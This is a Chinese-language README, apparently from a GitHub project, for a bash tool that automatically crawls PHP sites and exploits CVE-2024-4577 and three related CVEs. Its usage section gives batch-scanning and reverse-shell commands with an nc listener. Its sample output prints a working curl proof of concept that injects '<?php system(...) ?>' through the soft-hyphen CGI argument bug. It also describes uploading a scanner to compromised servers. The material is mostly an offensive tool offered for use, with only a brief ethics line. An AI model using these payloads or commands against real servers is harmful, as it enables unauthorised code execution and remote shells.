自动化检测与利用关键PHP漏洞(CVE-2024-4577绕过、CVE-2025-14177、CVE-2025-14180、CVE-2025-14178)
自动检测和利用关键 PHP 漏洞 (CVE-2024-4577 绕过, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
PHP8.1.x_Exploit.sh 是一个单文件、零配置的安全评估工具,能够自动发现易受攻击的 PHP 端点,并利用影响 PHP 8.1.34 之前版本(2024 年 12 月发布)的四个高危 CVE。它无需手工构建载荷——只需提供一个 URL,脚本会自动完成从爬取到远程代码执行的全部工作。完全自动驾驶模式——无需用户提示即可自动检测和利用。
-d 和软连字符 %AD 绕过。getimagesize() 发生的堆内存泄露
array_merge 中的整数溢出。parallel,否则优雅降级。无需 root 权限 – 该工具仅发送 HTTP 请求,并可选执行反向 Shell(需要您的机器上有监听器)。
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
单个目标(最常见)
./PHP8.1.x_Exploit.sh -u http://target.example.com
单个目标 + 反向 Shell(CVE-2024-4577)
./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444
然后在您的机器上:
nc -lvnp 4444
批量扫描多个目标
./PHP8.1.x_Exploit.sh -l targets.txt --threads 10
示例 targets.txt:
http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com
仅扫描模式(不尝试利用)
./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only
保存报告到文件
./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt
详细 / 调试输出
./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # 非常嘈杂
注意: CVE‑2025‑14180 和 CVE‑2025‑14178 只能从服务器内部准确检测(本地测试)。脚本通过在成功利用 CGI 后上传扫描器来实现这一点。
[*] 扫描: http://192.168.1.100/
[*] 操作系统: windows
[*] PHP 版本: 8.1.33
[*] 测试 CVE-2024-4577 于 http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: 存在漏洞(软连字符注入)
[*] 尝试反向 Shell 到 192.168.1.5 4444
...
[*] 测试 CVE-2025-14177 通过 http://192.168.1.100/upload.php
[-] CVE-2025-14177: 检测到潜在堆泄露!
...
[*] 通过 RCE 运行深度本地扫描...
PHP_VERSION=8.1.33
CVE-2025-14180: 存在漏洞
CVE-2025-14178: 存在漏洞
CVE-2025-14177: 存在漏洞(泄露: 486561704c65616b21...)
===================== http://192.168.1.100/ 的报告 =====================
操作系统: windows
PHP: 8.1.33
CVE-2024-4577: 可利用于 http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: 存在漏洞
CVE-2025-14180/14178: 存在漏洞(请参阅深度扫描输出)
==============================================================
--revshell 选项会从目标向您的机器打开一个套接字。确保您拥有回连的权限。欢迎提交拉取请求、错误报告和功能建议。请遵循:
parallel 和没有 parallel 的情况。GNU 通用公共许可证 v3.0 – 请参阅 LICENSE 文件。
为安全社区用心制作。请合乎道德地使用。
| 依赖项 | 用途 | 通常已安装? |
|---|
bash 4.0+ | 脚本解释器 | 是(Linux/macOS) |
curl | HTTP 请求 | 是 |
grep, sed, awk | 文本处理 | 是 |
mktemp | 创建临时文件 | 是 |
(可选)parallel | 更快的批量扫描 | 否(但推荐) |
(可选)jq | JSON 输出格式化 | 否 |
| 阶段 | 动作 |
|---|
| 1 | 指纹识别 – 通过响应头和探测获取操作系统和 PHP 版本。 |
| 2 | 爬取 – 从首页提取 href 和 action 属性。 |
| 3 | CGI 发现 – 尝试常见路径以及爬取到的看起来像 CGI 的链接。 |
| 4 | CVE‑2024‑4577 测试 – 注入 -d 和 %AD 载荷;若成功,执行命令或发送反向 Shell。 |
| 5 | 上传端点发现 – 检查常见上传路径以及包含 "upload"/"image" 的表单。 |
| 6 | CVE‑2025‑14177 测试 – 构造畸形 JPEG,POST 到每个上传端点,检测堆泄露。 |
| 7 | 深度内部扫描 – 若实现 RCE,上传扫描器 PHP 脚本并运行,测试 CVE‑2025‑14180 / CVE‑2025‑14178。 |
| 8 | 报告 – 打印摘要并可选写入文件。 |
| 选项 | 描述 |
|---|
-u URL | 单个目标 URL(例如 http://example.com/) |
-l FILE | 批量文件,每行一个 URL |
--scan-only | 仅检测 – 不利用(无反向 Shell,无载荷上传) |
-o FILE | 将最终报告写入 FILE |
--threads N | 批量扫描的并行线程数(默认:5) |
--timeout N | HTTP 超时秒数(默认:10) |
--no-color | 禁用彩色输出 |
--verbose | 显示详细进度 |
--debug | 显示每个 HTTP 请求(可能泄露敏感数据) |
--revshell IP PORT | 当发现 CVE‑2024‑4577 时尝试反向 Shell |
-h, --help | 显示帮助并退出 |
| CVE | 严重性 | 影响 | 利用载体 | 修复版本 |
|---|
| CVE‑2024‑4577(绕过) | 严重 | RCE | Windows CGI 参数注入(软连字符映射) | PHP 8.1.34 |
| CVE‑2025‑14177 | 中等/高 | 信息泄露(堆内存) | 畸形 JPEG 传递给 getimagesize() | PHP 8.1.34 |
| CVE‑2025‑14180 | 高 | 拒绝服务(NULL 解引用) | PDO PostgreSQL 使用模拟预处理 + 畸形参数 \x99 | PHP 8.1.34 |
| CVE‑2025‑14178 | 高(8.2) | 拒绝服务 / 潜在内存损坏 | array_merge() 处理超大数组导致整数溢出 | PHP 8.1.34 |
| 问题 | 解决方案 |
|---|
curl: command not found | 安装 curl |
GNU parallel not found | 忽略 – 脚本在无它时也能工作(批量扫描较慢) |
| 未找到 CGI 端点 | 目标可能未使用 CGI,或者位于阻挡 -d 标志的 WAF 之后 |
| CVE-2024-4577 有效但反向 Shell 失败 | 检查防火墙;尝试使用 --scan-only 进行更简单的载荷并手动使用 nc 监听器 |
| 图像泄露测试始终返回“无泄露” | 上传端点可能未使用 getimagesize(),或它清除了二进制数据 |
| 本地扫描器上传失败 | Web 根目录可能不可写;脚本会尝试在与 CGI 脚本相同的目录中写入 |